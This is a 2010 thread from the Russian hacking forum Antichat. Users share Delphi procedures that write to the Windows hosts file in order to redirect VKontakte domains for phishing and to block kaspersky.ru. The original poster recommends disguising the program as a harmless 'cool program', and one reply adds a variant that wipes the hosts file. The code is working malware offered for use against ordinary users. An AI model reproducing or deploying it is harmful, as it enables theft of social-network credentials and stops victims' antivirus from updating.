Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Социальные сети (https://forum.antichat.xyz/forumdisplay.php?f=133)
-   -   Редактируем HOSTS под фишинг (https://forum.antichat.xyz/showthread.php?t=169632)

Sokolik 10.01.2010 05:05

Редактируем HOSTS под фишинг
 
Прочитал тему, в ней выложен билдер батников для редактирование хостс. Если кто хочет может сделать на дельфи тоже самое на свой вкус, чтобы не париться со склейкой батника.

Пишем процедуру:

procedure wHosts(s:string);
var
SysdirP: PChar;
hFile: THandle;
nw: dword;
b: byte;
begin
SysDirP := StrAlloc(MAX_PATH);
GetSystemDirectory(SysDirP, MAX_PATH);
lstrcat(SysDirP, '\drivers\etc\hosts');
hFile := CreateFile(SysDirP, GENERIC_WRITE, FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
SetFilePointer(hFile, 0, nil, FILE_END);
b:=13;
WriteFile(hFile, b, 1, nw, nil);
b:=10;
WriteFile(hFile, b, 1, nw, nil);
WriteFile(hFile, PAnsiChar(s)^, length(s), nw, nil);
CloseHandle(hFile);
end;


Применение:

procedure TForm1.FormCreate(Sender: TObject);
begin
wHosts('127.0.0.1 www.vkontakte.ru');
wHosts('127.0.0.1 vkontakte.ru');
wHosts('127.0.0.1 www.vk.com');
wHosts('127.0.0.1 vk.com');
wHosts('127.0.0.1 www.kaspersky.ru');
wHosts('127.0.0.1 kaspersky.ru');
end;


Чтобы было без палева можно сделать под видом кульной проги, думаю с дельфи из форумчан много кто знаком.

Сорц

shell_c0de 10.01.2010 06:41

Вот эт норм теперь не будут барыжничать host билдером ) или будут ? )

DarkByte 10.01.2010 13:34

А не проще ли было через assign, append/rewrite, writeln, close?

Sokolik 10.01.2010 14:07

Цитата:

Сообщение от DarkByte
А не проще ли было через assign, append/rewrite, writeln, close?

Выложи свой пример, меня и мой устраивает!

DarkByte 10.01.2010 14:26

Цитата:

Сообщение от Sokolik
Выложи свой пример, меня и мой устраивает!

Код:

procedure toHosts(s:string; clear: boolean=false);
var
  SysDir: string;
  f: TextFile;
begin
  SetLength(SysDir,MAX_PATH);
  GetSystemDirectory(PCHar(SysDir), MAX_PATH);
  if SysDir<>'' then begin
    SetLength(SysDir,pos(#0,SysDir)-1);
    SysDir:=SysDir+'\drivers\etc\hosts';
    assign(f,SysDir);
    if clear or (not FileExists(SysDir)) then rewrite(f) else append(f);
    writeln(f,s);
    close(f);
  end;
end;

Пример использования
Код:

begin
  toHosts('127.0.0.1 www.vkontakte.ru',true);
  toHosts('127.0.0.1 vkontakte.ru');
  toHosts('127.0.0.1 www.vk.com');
  toHosts('127.0.0.1 vk.com');
end;

В первом вызове toHosts вторым параметром указывается true, для того, чтобы очистить файл hosts.

Шухер 10.01.2010 18:17

кто расскажет как юзать данную вещь? :)

22Striker22 10.01.2010 18:36

Цитата:

Сообщение от DarkByte
А не проще ли было через assign, append/rewrite, writeln, close?

Паскалевские ехешники не на всех ОС работать будут (Вин7, ХР 64).

22Striker22 10.01.2010 18:44

Цитата:

Сообщение от Шухер
кто расскажет как юзать данную вещь? :)

Скачиваешь, запускаешь и радуешься.

DarkByte 10.01.2010 19:23

Цитата:

Сообщение от 22Striker22
Паскалевские ехешники не на всех ОС работать будут (Вин7, ХР 64).

Да неужели? Странно, а у меня работают. assign это обёртка над CreateFile, если речь об этом.

Wh1Te 10.01.2010 19:31

За бутылочку пива кто сможет помочь?


Время: 01:39